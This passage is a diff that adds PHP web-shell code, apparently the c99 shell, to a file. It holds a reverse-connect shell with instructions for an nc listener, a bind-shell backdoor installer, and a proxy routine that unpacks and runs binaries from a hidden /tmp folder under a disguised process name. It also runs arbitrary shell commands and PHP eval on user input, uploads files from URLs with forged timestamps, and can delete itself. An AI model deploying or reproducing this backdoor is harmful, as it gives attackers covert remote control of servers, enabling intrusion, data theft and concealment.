onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>"; + echo "</br>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b></b></a>"; + } + echo "</br></br><b>Base convertations</b>:</br></br>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; +} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br>"); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +} + + +if ($act == "proxy") { + cf("/tmp/hantu.tgz",$proxy_shit); + ex("cd /tmp;tar -zxvf hantu.tgz"); + ex("cd /tmp;cd .setan;chmod 777 xh"); + ex("cd /tmp;cd .setan;chmod 777 httpd"); + ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); + checkproxyhost(); + $msg = $_POST['proxyhostmsg']; + echo("$msg"); + unlink("/tmp/hantu.tgz"); + ex("cd /tmp; rm -r .setan"); +} + +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." </br></br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "search"){ + echo "<b>Search file-system:</b></br></br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>File/folder name: </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Directory:&nbsp;&nbsp; </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><b>Text:</b>&nbsp;&nbsp;<input type=text name=\"search_text\" size=42 value=".htmlspecialchars($search_text)."> + +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".</br></br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + $execcmd = $_REQUEST['cmd']; + echo "Result Of Locally Executed Command: <b>$execcmd</b></br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder ".htmlspecialchars($d)."</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b><u>Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders</u></b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} + +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "</br>Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied 